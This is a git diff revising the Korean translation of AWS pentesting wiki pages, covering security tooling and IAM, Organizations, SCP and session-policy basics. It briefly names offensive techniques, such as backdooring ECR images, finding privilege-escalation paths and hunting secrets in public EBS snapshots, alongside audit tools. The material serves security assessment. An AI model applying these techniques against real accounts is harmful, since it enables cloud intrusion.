-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper)는 AWS 계정 또는 AWS 조직의 AWS Identity and Access Management (IAM) 구성에서 위험을 식별하기 위한 스크립트 및 라이브러리입니다. 이는 계정 내의 다양한 IAM 사용자 및 역할을 방향 그래프로 모델링하여 **권한 상승** 및 공격자가 AWS에서 리소스나 작업에 접근하기 위해 취할 수 있는 대체 경로를 확인할 수 있게 합니다. **privesc** 경로를 찾기 위해 사용되는 **권한**은 [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)에서 `_edges.py`로 끝나는 파일 이름에서 확인할 수 있습니다.
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper)는 AWS 계정 또는 AWS 조직의 AWS Identity and Access Management (IAM) 구성에서 위험을 식별하기 위한 스크립트 및 라이브러리입니다. 이는 계정 내의 다양한 IAM 사용자 및 역할을 방향 그래프로 모델링하여 **권한 상승** 및 공격자가 AWS의 리소스나 작업에 접근하기 위해 취할 수 있는 대체 경로를 확인할 수 있게 합니다. **privesc** 경로를 찾기 위해 사용된 **권한**은 [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)에서 `_edges.py`로 끝나는 파일 이름에서 확인할 수 있습니다.
```bash
# Install
pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining은 최소 권한 위반을 식별하고 위험 우선 순위가 매겨진 HTML 보고서를 생성하는 AWS IAM 보안 평가 도구입니다.\
-잠재적으로 **과도한 권한**을 가진 고객, 인라인 및 aws **정책**과 해당 **주체가 접근할 수 있는지** 보여줍니다. (권한 상승뿐만 아니라 다른 흥미로운 권한도 확인하므로 사용을 권장합니다).
+잠재적으로 **과도한 권한**을 가진 고객, 인라인 및 aws **정책**과 해당 **정책에 접근할 수 있는 주체**를 보여줍니다. (권한 상승뿐만 아니라 다른 흥미로운 권한도 확인하므로 사용을 권장합니다).
```bash
# Install
pip install cloudsplaining
@@ -290,13 +290,13 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack는 분리된 Route53 및 CloudFront 구성으로 인해 **서브도메인 하이재킹 취약점**에 대해 AWS 계정을 평가합니다.
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack는 분리된 Route53 및 CloudFront 구성으로 인해 AWS 계정의 **서브도메인 하이재킹 취약점**을 평가합니다.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR 리포지토리 목록 -> ECR 리포지토리 가져오기 -> 백도어 추가 -> 백도어가 추가된 이미지 푸시
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag는 **비공식적으로 남겨졌을 수 있는 비밀**을 찾기 위해 공개 Elastic Block Storage (**EBS**) 스냅샷을 **검색하는** 도구입니다.
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag는 공개 Elastic Block Storage (**EBS**) 스냅샷을 통해 **비밀**을 검색하는 도구입니다.
### 감사
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua의 CloudSploit는 Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) 및 GitHub를 포함하여 **클라우드 인프라** 계정의 **보안 위험**을 감지할 수 있도록 설계된 오픈 소스 프로젝트입니다 (ShadowAdmins를 찾지 않습니다).
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua의 CloudSploit는 Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) 및 GitHub를 포함한 **클라우드 인프라** 계정의 **보안 위험**을 감지할 수 있도록 설계된 오픈 소스 프로젝트입니다 (ShadowAdmins를 찾지 않습니다).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
@@ -314,7 +314,7 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox는 낯선 클라우드 환경에서 상황 인식을 높이는 데 도움을 줍니다. 이는 침투 테스터 및 기타 공격 보안 전문가가 클라우드 인프라에서 악용 가능한 공격 경로를 찾는 데 도움을 주기 위해 만들어진 오픈 소스 명령줄 도구입니다.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox는 익숙하지 않은 클라우드 환경에서 상황 인식을 높이는 데 도움을 줍니다. 이는 침투 테스트 전문가와 기타 공격 보안 전문가가 클라우드 인프라에서 악용 가능한 공격 경로를 찾는 데 도움을 주기 위해 만들어진 오픈 소스 명령줄 도구입니다.
```bash
cloudfox aws --profile [profile-name] all-checks
```
@@ -336,7 +336,7 @@ scout aws -p dev
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian은 공용 클라우드 계정 및 리소스를 관리하기 위한 규칙 엔진입니다. 사용자가 **잘 관리된 클라우드 인프라를 가능하게 하는 정책을 정의**할 수 있도록 합니다. 이는 조직이 보유한 많은 임시 스크립트를 경량화되고 유연한 도구로 통합하며, 통합된 메트릭 및 보고서를 제공합니다.
- [**pacbot**](https://github.com/tmobile/pacbot)**: 코드로서의 정책 봇 (PacBot)**은 **클라우드를 위한 지속적인 준수 모니터링, 준수 보고 및 보안 자동화** 플랫폼입니다. PacBot에서는 보안 및 준수 정책이 코드로 구현됩니다. PacBot에 의해 발견된 모든 리소스는 이러한 정책에 대해 평가되어 정책 준수 여부를 판단합니다. PacBot **자동 수정** 프레임워크는 미리 정의된 조치를 취하여 정책 위반에 자동으로 대응할 수 있는 기능을 제공합니다.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert는 서버리스 **실시간** 데이터 분석 프레임워크로, 사용자가 정의한 데이터 소스 및 경고 논리를 사용하여 **데이터를 수집, 분석 및 경고**할 수 있도록 합니다. 컴퓨터 보안 팀은 StreamAlert를 사용하여 매일 수 테라바이트의 로그 데이터를 스캔하여 사건 탐지 및 대응을 수행합니다.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert는 서버리스 **실시간** 데이터 분석 프레임워크로, 사용자가 정의한 데이터 소스 및 경고 논리를 사용하여 **데이터를 수집, 분석 및 경고**할 수 있도록 합니다. 컴퓨터 보안 팀은 StreamAlert를 사용하여 매일 테라바이트의 로그 데이터를 스캔하여 사건 탐지 및 대응을 수행합니다.
## DEBUG: AWS cli 요청 캡처
```bash
@@ -357,7 +357,7 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
-## References
+## 참고문헌
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 4d5be5dfe..b1fdf370e 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -10,11 +10,11 @@
AWS에는 **루트 계정**이 있으며, 이는 **조직의 모든 계정에 대한 부모 컨테이너**입니다. 그러나 리소스를 배포하기 위해 해당 계정을 사용할 필요는 없으며, **다른 계정을 생성하여 서로 다른 AWS** 인프라를 분리할 수 있습니다.
-이는 **보안** 관점에서 매우 흥미롭습니다. **하나의 계정은 다른 계정의 리소스에 접근할 수 없습니다** (특별히 브리지가 생성되지 않는 한), 따라서 이 방법으로 배포 간의 경계를 만들 수 있습니다.
+이는 **보안** 관점에서 매우 흥미로운데, **하나의 계정은 다른 계정의 리소스에 접근할 수 없기 때문**입니다(특별히 브리지가 생성되지 않는 한). 따라서 배포 간에 경계를 만들 수 있습니다.
-따라서 조직에는 **두 가지 유형의 계정**이 있습니다 (우리는 AWS 계정에 대해 이야기하고 있으며 사용자 계정이 아닙니다): 관리 계정으로 지정된 단일 계정과 하나 이상의 멤버 계정입니다.
+따라서 조직에는 **두 가지 유형의 계정**이 있습니다(우리는 AWS 계정에 대해 이야기하고 있으며 사용자 계정이 아닙니다): 관리 계정으로 지정된 단일 계정과 하나 이상의 멤버 계정입니다.
-- **관리 계정 (루트 계정)**은 조직을 생성하는 데 사용하는 계정입니다. 조직의 관리 계정에서 다음을 수행할 수 있습니다:
+- **관리 계정(루트 계정)**은 조직을 생성하는 데 사용하는 계정입니다. 조직의 관리 계정에서 다음을 수행할 수 있습니다:
- 조직 내에서 계정 생성
- 다른 기존 계정을 조직에 초대
@@ -26,21 +26,21 @@ AWS에는 **루트 계정**이 있으며, 이는 **조직의 모든 계정에
관리 계정은 **지불 계정의 책임**을 지며, 멤버 계정에서 발생하는 모든 요금을 지불할 책임이 있습니다. 조직의 관리 계정을 변경할 수 없습니다.
-- **멤버 계정**은 조직 내의 나머지 모든 계정을 구성합니다. 계정은 한 번에 하나의 조직의 멤버일 수 있습니다. 계정에 정책을 부착하여 해당 계정에만 제어를 적용할 수 있습니다.
+- **멤버 계정**은 조직 내의 나머지 모든 계정을 구성합니다. 계정은 한 번에 하나의 조직의 멤버일 수 있습니다. 계정에 정책을 연결하여 해당 계정에만 제어를 적용할 수 있습니다.
- 멤버 계정은 **유효한 이메일 주소를 사용해야 하며** **이름**을 가질 수 있으며, 일반적으로 청구를 관리할 수는 없지만 접근 권한이 부여될 수 있습니다.
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **조직 단위**
-계정은 **조직 단위(OU)**로 그룹화할 수 있습니다. 이렇게 하면 조직 단위에 대한 **정책**을 생성할 수 있으며, 이 정책은 **모든 자식 계정에 적용됩니다**. OU는 다른 OU를 자식으로 가질 수 있습니다.
+계정을 **조직 단위(OU)**로 그룹화할 수 있습니다. 이렇게 하면 조직 단위에 대한 **정책**을 생성할 수 있으며, 이 정책은 **모든 자식 계정에 적용됩니다**. OU는 다른 OU를 자식으로 가질 수 있습니다.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
-A **service control policy (SCP)**는 SCP가 영향을 미치는 계정에서 사용자가 사용할 수 있는 서비스와 작업을 지정하는 정책입니다. SCP는 **IAM** 권한 정책과 유사하지만 **권한을 부여하지 않습니다**. 대신, SCP는 조직, 조직 단위(OU) 또는 계정에 대한 **최대 권한**을 지정합니다. SCP를 조직 루트 또는 OU에 연결하면 **SCP는 구성원 계정의 엔티티에 대한 권한을 제한합니다**.
+**서비스 제어 정책(SCP)**은 SCP가 영향을 미치는 계정에서 사용자가 사용할 수 있는 서비스와 작업을 지정하는 정책입니다. SCP는 **IAM** 권한 정책과 유사하지만 **권한을 부여하지 않습니다**. 대신, SCP는 조직, 조직 단위(OU) 또는 계정에 대한 **최대 권한**을 지정합니다. SCP를 조직 루트 또는 OU에 연결하면 **SCP가 구성원 계정의 엔터티에 대한 권한을 제한합니다**.
이것은 **루트 사용자조차도 무언가를 하는 것을 막을 수 있는 유일한 방법**입니다. 예를 들어, 사용자가 CloudTrail을 비활성화하거나 백업을 삭제하는 것을 막는 데 사용할 수 있습니다.\
이를 우회하는 유일한 방법은 SCP를 구성하는 **마스터 계정**도 손상시키는 것입니다(마스터 계정은 차단할 수 없습니다).
@@ -55,21 +55,21 @@ SCP 예시:
- 화이트리스트에 있는 서비스만 허용
- GuardDuty, CloudTrail 및 S3 공개 차단 액세스 비활성화를 거부
-- 보안/사고 대응 역할이 삭제되거나 수정되는 것을 거부합니다.
+- 보안/사고 대응 역할이 삭제되거나 수정되는 것을 거부.
-- 백업이 삭제되는 것을 거부합니다.
-- IAM 사용자 및 액세스 키 생성을 거부합니다.
+- 백업이 삭제되는 것을 거부.
+- IAM 사용자 및 액세스 키 생성을 거부.
**JSON 예시**는 [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)에서 확인하세요.
### ARN
-**Amazon Resource Name**은 AWS 내의 모든 리소스가 가지는 **고유 이름**으로, 다음과 같이 구성됩니다:
+**아마존 리소스 이름**은 AWS 내의 모든 리소스가 가지는 **고유 이름**으로, 다음과 같이 구성됩니다:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-Note that there are 4 partitions in AWS but only 3 ways to call them:
+AWS에는 4개의 파티션이 있지만 이를 호출하는 방법은 3가지뿐입니다:
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -81,26 +81,26 @@ Note that there are 4 partitions in AWS but only 3 ways to call them:
IAM은 AWS 계정 내에서 **인증**, **권한 부여** 및 **액세스 제어**를 관리할 수 있게 해주는 서비스입니다.
- **인증** - 신원을 정의하고 그 신원을 검증하는 과정입니다. 이 과정은 식별 및 검증으로 세분화될 수 있습니다.
-- **권한 부여** - 신원이 시스템에 인증된 후 시스템 내에서 어떤 리소스에 접근할 수 있는지를 결정합니다.
-- **액세스 제어** - 안전한 리소스에 대한 액세스가 어떻게 부여되는지를 정의하는 방법과 과정입니다.
+- **권한 부여** - 인증된 후 시스템 내에서 신원이 접근할 수 있는 것을 결정합니다.
+- **액세스 제어** - 안전한 리소스에 대한 액세스가 부여되는 방법과 과정입니다.
IAM은 AWS 계정 내 리소스에 대한 신원의 인증, 권한 부여 및 액세스 제어 메커니즘을 관리, 제어 및 통치하는 능력으로 정의될 수 있습니다.
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Amazon Web Services (AWS) 계정을 처음 생성하면 **모든** AWS 서비스와 리소스에 **완전한 접근 권한**을 가진 단일 로그인 신원으로 시작합니다. 이것이 AWS 계정 _**루트 사용자**_이며, **계정을 생성할 때 사용한 이메일 주소와 비밀번호로 로그인하여 접근합니다**.
+Amazon Web Services (AWS) 계정을 처음 생성하면 **모든** AWS 서비스와 리소스에 **완전한 액세스**를 가진 단일 로그인 신원으로 시작합니다. 이것이 AWS 계정 _**루트 사용자**_이며, **계정을 생성할 때 사용한 이메일 주소와 비밀번호로 로그인하여 접근합니다**.
새로운 **관리자 사용자**는 **루트 사용자보다 권한이 적습니다**.
-보안 관점에서 볼 때, 다른 사용자를 생성하고 이 사용자를 사용하는 것을 피하는 것이 권장됩니다.
+보안 관점에서 볼 때, 다른 사용자를 생성하고 이 사용자를 사용하는 것을 피하는 것이 좋습니다.
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
IAM _사용자_는 AWS에서 **사람이나 애플리케이션을 나타내기 위해 생성하는 엔티티**입니다. AWS의 사용자는 이름과 자격 증명(비밀번호 및 최대 두 개의 액세스 키)으로 구성됩니다.
-IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자 그룹의 구성원**으로 만들어 **권한**을 부여하거나, **정책을 사용자에게 직접 첨부**하여 권한을 부여합니다.
+IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자 그룹의 구성원**으로 만들어 **권한**을 부여하거나 **정책을 직접 사용자에게 첨부**하여 권한을 부여합니다.
-사용자는 콘솔을 통해 **MFA로 로그인할 수 있습니다**. MFA가 활성화된 사용자의 API 토큰은 MFA로 보호되지 않습니다. **MFA를 사용하여 사용자의 API 키 접근을 제한**하려면, 특정 작업을 수행하기 위해 MFA가 필요하다는 것을 정책에 명시해야 합니다 (예시 [**여기**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+사용자는 콘솔을 통해 **MFA로 로그인할 수 있습니다**. MFA가 활성화된 사용자의 API 토큰은 MFA로 보호되지 않습니다. **MFA를 사용하여 사용자 API 키의 액세스를 제한**하려면 특정 작업을 수행하기 위해 MFA가 필요하다는 것을 정책에 명시해야 합니다 (예시 [**여기**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
@@ -112,16 +112,16 @@ IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자
### MFA - Multi Factor Authentication
-기존의 방법(예: 비밀번호) 외에 **인증을 위한 추가 요소를 생성**하는 데 사용되며, 따라서 다중 요소 인증 수준을 생성합니다.\
-**무료 가상 애플리케이션이나 물리적 장치**를 사용할 수 있습니다. Google 인증기와 같은 앱을 무료로 사용하여 AWS에서 MFA를 활성화할 수 있습니다.
+기존 방법(예: 비밀번호) 외에 **인증을 위한 추가 요소를 생성**하는 데 사용되며, 따라서 다중 요소 인증 수준을 생성합니다.\
+**무료 가상 애플리케이션 또는 물리적 장치**를 사용할 수 있습니다. Google 인증기와 같은 앱을 무료로 사용하여 AWS에서 MFA를 활성화할 수 있습니다.
MFA 조건이 있는 정책은 다음에 첨부될 수 있습니다:
- IAM 사용자 또는 그룹
- Amazon S3 버킷, Amazon SQS 큐 또는 Amazon SNS 주제와 같은 리소스
-- 사용자가 가정할 수 있는 IAM 역할의 신뢰 정책
+- 사용자가 맡을 수 있는 IAM 역할의 신뢰 정책
-**CLI를 통해** MFA를 **확인하는 리소스에 접근**하려면 **`GetSessionToken`**을 호출해야 합니다. 그러면 MFA에 대한 정보가 포함된 토큰이 제공됩니다.\
+**MFA를 확인하는** 리소스에 **CLI를 통해 접근**하려면 **`GetSessionToken`**을 호출해야 합니다. 그러면 MFA에 대한 정보가 포함된 토큰이 제공됩니다.\
**`AssumeRole` 자격 증명에는 이 정보가 포함되어 있지 않습니다**.
```bash
aws sts get-session-token --serial-number --token-code
@@ -130,7 +130,7 @@ As [**여기서 언급된 바와 같이**](https://docs.aws.amazon.com/IAM/lates
### [IAM 사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-IAM [사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)은 **여러 사용자에게 정책을 한 번에 연결하는** 방법으로, 이러한 사용자의 권한을 관리하기 쉽게 만들어 줍니다. **역할과 그룹은 그룹의 일부가 될 수 없습니다**.
+IAM [사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)은 **여러 사용자에게 정책을 동시에 연결하는** 방법으로, 이러한 사용자의 권한을 관리하기 쉽게 만들어 줍니다. **역할과 그룹은 그룹의 일부가 될 수 없습니다**.
**사용자 그룹에 신원 기반 정책을 연결**할 수 있어, 사용자 그룹의 **모든 사용자**가 **정책의 권한을 받게** 됩니다. **정책**(예: 리소스 기반 정책)에서 **`Principal`**로 **사용자 그룹**을 식별할 수 **없습니다**. 그룹은 인증이 아닌 권한과 관련이 있으며, 주체는 인증된 IAM 엔터티입니다.
@@ -139,13 +139,13 @@ IAM [사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_group
- 사용자 **그룹**은 **많은 사용자**를 **포함할 수 있으며**, **사용자**는 **여러 그룹에 속할 수 있습니다**.
- **사용자 그룹은 중첩될 수 없습니다**; 사용자만 포함할 수 있으며, 다른 사용자 그룹은 포함할 수 없습니다.
- **AWS 계정의 모든 사용자를 자동으로 포함하는 기본 사용자 그룹은 없습니다**. 그런 사용자 그룹을 원하면, 직접 생성하고 각 새로운 사용자를 할당해야 합니다.
-- AWS 계정의 IAM 리소스 수(예: 그룹 수)와 사용자가 속할 수 있는 그룹 수는 제한되어 있습니다. 자세한 내용은 [IAM 및 AWS STS 할당량](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)을 참조하세요.
+- AWS 계정의 IAM 리소스 수, 즉 그룹 수와 사용자가 속할 수 있는 그룹 수는 제한되어 있습니다. 자세한 내용은 [IAM 및 AWS STS 할당량](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)을 참조하십시오.
### [IAM 역할](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-IAM **역할**은 **사용자**와 매우 **유사**하며, AWS에서 **무엇을 할 수 있고 할 수 없는지를 결정하는 권한 정책을 가진 **신원**입니다. 그러나 역할은 **자격 증명**(비밀번호 또는 액세스 키)이 없습니다. 역할은 특정 개인과 고유하게 연결되는 것이 아니라, **필요한 사람 누구나(충분한 권한이 있는 경우)** **가정할 수 있도록** 설계되었습니다. **IAM 사용자는 특정 작업을 위해 임시로** 다른 권한을 취득하기 위해 역할을 가정할 수 있습니다. 역할은 IAM 대신 외부 신원 공급자를 사용하여 로그인하는 [**연합 사용자**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)에게 **할당될 수 있습니다**.
+IAM **역할**은 **사용자**와 매우 **유사**하며, AWS에서 **무엇을 할 수 있고 할 수 없는지를 결정하는 권한 정책을 가진 **신원**입니다. 그러나 역할은 **자격 증명**(비밀번호 또는 액세스 키)이 없습니다. 역할은 특정 개인과 고유하게 연결되는 것이 아니라, **필요한 누구나(충분한 권한이 있는 경우)** **가정할 수 있도록** 설계되었습니다. **IAM 사용자는 특정 작업을 위해 임시로** 다른 권한을 취득하기 위해 역할을 가정할 수 있습니다. 역할은 IAM 대신 외부 신원 공급자를 사용하여 로그인하는 [**연합 사용자**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)에게 **할당될 수 있습니다**.
-IAM 역할은 **두 가지 유형의 정책**으로 구성됩니다: **신뢰 정책**, 비어 있을 수 없으며 **누가 역할을 가정할 수 있는지를 정의하고**, **권한 정책**, 비어 있을 수 없으며 **무엇에 접근할 수 있는지를 정의합니다**.
+IAM 역할은 **두 가지 유형의 정책**으로 구성됩니다: **신뢰 정책**(비어 있을 수 없음)으로 **누가 역할을 가정할 수 있는지를 정의**하고, **권한 정책**(비어 있을 수 없음)으로 **무엇에 접근할 수 있는지를 정의**합니다.
#### AWS 보안 토큰 서비스 (STS)
@@ -162,10 +162,10 @@ AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명**
권한을 할당하는 데 사용됩니다. 두 가지 유형이 있습니다:
- AWS 관리형 정책 (AWS에서 미리 구성)
-- 고객 관리형 정책: 사용자가 구성합니다. AWS 관리형 정책을 기반으로 정책을 생성할 수 있습니다(그 중 하나를 수정하고 자신의 것을 생성), 정책 생성기(권한 부여 및 거부를 돕는 GUI 보기)를 사용하거나 직접 작성할 수 있습니다.
+- 고객 관리형 정책: 사용자가 구성. AWS 관리형 정책을 기반으로 정책을 생성할 수 있습니다(그 중 하나를 수정하고 자신만의 정책을 생성), 정책 생성기를 사용하거나(권한을 부여하고 거부하는 데 도움을 주는 GUI 보기) 직접 작성할 수 있습니다.
-**기본적으로 접근은** **거부됩니다**, 명시적인 역할이 지정된 경우에만 접근이 허용됩니다.\
-**단일 "거부"가 존재하면, "허용"을 무시합니다**, AWS 계정의 루트 보안 자격 증명을 사용하는 요청은 기본적으로 허용됩니다.
+기본적으로 **접근이 거부됩니다**, 명시적인 역할이 지정된 경우에만 접근이 허용됩니다.\
+**단일 "거부"가 존재하면 "허용"을 무시합니다**, AWS 계정의 루트 보안 자격 증명을 사용하는 요청은 기본적으로 허용됩니다.
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -188,33 +188,33 @@ AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명**
]
}
```
-The [전 세계에서 모든 서비스에 대한 조건으로 사용할 수 있는 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+[모든 서비스에서 조건으로 사용할 수 있는 전역 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
[서비스별로 조건으로 사용할 수 있는 특정 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### 인라인 정책
-이러한 종류의 정책은 **사용자, 그룹 또는 역할에 직접 할당됩니다**. 따라서 다른 사용자가 사용할 수 있는 정책 목록에는 나타나지 않습니다.\
-인라인 정책은 **정책과 적용되는 신원 간의 엄격한 일대일 관계를 유지하고자 할 때 유용합니다**. 예를 들어, 정책의 권한이 의도된 신원 외의 신원에 우연히 할당되지 않도록 확실히 하고 싶습니다. 인라인 정책을 사용할 때, 정책의 권한은 잘못된 신원에 우연히 연결될 수 없습니다. 또한, AWS Management Console을 사용하여 해당 신원을 삭제할 때, 신원에 내장된 정책도 함께 삭제됩니다. 이는 그것들이 주체 엔티티의 일부이기 때문입니다.
+이러한 종류의 정책은 **사용자, 그룹 또는 역할에 직접 할당**됩니다. 따라서 다른 사용자가 사용할 수 있는 정책 목록에는 나타나지 않습니다.\
+인라인 정책은 **정책과 적용되는 정체성 간의 엄격한 일대일 관계를 유지**하고자 할 때 유용합니다. 예를 들어, 정책의 권한이 의도된 정체성 외의 다른 정체성에 우발적으로 할당되지 않도록 하려는 경우입니다. 인라인 정책을 사용할 때, 정책의 권한은 잘못된 정체성에 우발적으로 연결될 수 없습니다. 또한, AWS Management Console을 사용하여 해당 정체성을 삭제할 때, 정체성에 내장된 정책도 함께 삭제됩니다. 이는 그것들이 주체 엔티티의 일부이기 때문입니다.
#### 리소스 버킷 정책
-이것은 **리소스에서 정의할 수 있는 정책**입니다. **모든 AWS 리소스가 이를 지원하는 것은 아닙니다**.
+이것은 **리소스**에서 정의할 수 있는 **정책**입니다. **모든 AWS 리소스가 이를 지원하는 것은 아닙니다**.
주체가 이에 대한 명시적인 거부가 없고, 리소스 정책이 그들에게 접근을 허용하면, 그들은 허용됩니다.
### IAM 경계
-IAM 경계는 **사용자 또는 역할이 접근할 수 있는 권한을 제한하는 데 사용할 수 있습니다**. 이렇게 하면, 다른 정책에 의해 사용자에게 다른 권한 세트가 부여되더라도, 그가 이를 사용하려고 할 경우 작업이 **실패**합니다.
+IAM 경계는 **사용자 또는 역할이 접근할 수 있는 권한을 제한하는 데 사용**될 수 있습니다. 이렇게 하면, **다른 정책**에 의해 사용자에게 다른 권한 세트가 부여되더라도, 그가 이를 사용하려고 할 경우 작업이 **실패**합니다.
-경계는 사용자에게 연결된 정책으로, **사용자 또는 역할이 가질 수 있는 최대 권한 수준을 나타냅니다**. 따라서, **사용자가 관리자 접근 권한을 가지고 있더라도**, 경계가 그가 S· 버킷만 읽을 수 있다고 나타내면, 그것이 그가 할 수 있는 최대입니다.
+경계는 사용자에게 첨부된 정책으로, **사용자 또는 역할이 가질 수 있는 최대 권한 수준을 나타냅니다**. 따라서, **사용자가 관리자 접근 권한을 가지고 있더라도**, 경계가 그가 S· 버킷만 읽을 수 있다고 나타내면, 그것이 그가 할 수 있는 최대입니다.
-**이것**, **SCPs** 및 **최소 권한 원칙을 따르는 것**은 사용자가 필요 이상으로 많은 권한을 가지지 않도록 제어하는 방법입니다.
+**이것**과 **SCP** 및 **최소 권한 원칙**을 따르는 것은 사용자가 필요 이상으로 많은 권한을 가지지 않도록 제어하는 방법입니다.
### 세션 정책
-세션 정책은 **역할이 가정될 때 설정되는 정책**입니다. 이는 해당 세션에 대한 **IAM 경계와 같습니다**: 이는 세션 정책이 권한을 부여하지 않고 **정책에 명시된 권한으로 제한한다는 것을 의미합니다** (최대 권한은 역할이 가진 권한입니다).
+세션 정책은 **역할이 가정될 때 설정되는 정책**입니다. 이는 해당 세션에 대한 **IAM 경계**와 같습니다: 즉, 세션 정책은 권한을 부여하지 않지만 **정책에 명시된 권한으로 제한합니다**(최대 권한은 역할이 가진 권한입니다).
-이는 **보안 조치**에 유용합니다: 관리자가 매우 특권이 있는 역할을 가정할 때, 세션이 손상될 경우 세션 정책에 명시된 권한만으로 제한할 수 있습니다.
+이는 **보안 조치**에 유용합니다: 관리자가 매우 특권이 있는 역할을 가정할 때, 세션이 손상될 경우를 대비하여 세션 정책에 명시된 권한만으로 제한할 수 있습니다.
```bash
aws sts assume-role \
--role-arn \
@@ -222,74 +222,74 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+기본적으로 **AWS는 세션을 생성할 때 세션 정책을 추가할 수 있습니다**. 예를 들어, [인증되지 않은 cognito 가정 역할](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)에서는 기본적으로 (향상된 인증을 사용하여) AWS가 **세션 정책이 포함된 세션 자격 증명**을 생성하여 해당 세션이 접근할 수 있는 서비스의 범위를 제한합니다 [**다음 목록으로**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-따라서, 만약 어느 시점에 "... because no session policy allows the ..."라는 오류에 직면하게 된다면, 그리고 역할이 해당 작업을 수행할 수 있는 접근 권한이 있다면, 이는 **세션 정책이 이를 방지하고 있기 때문입니다**.
+따라서 "... 세션 정책이 ...을 허용하지 않기 때문에"라는 오류에 직면하게 되면, 역할이 해당 작업을 수행할 수 있는 접근 권한이 있음에도 불구하고 **세션 정책이 이를 방지하고 있는 것입니다**.
-### Identity Federation
+### 아이덴티티 연합
-Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
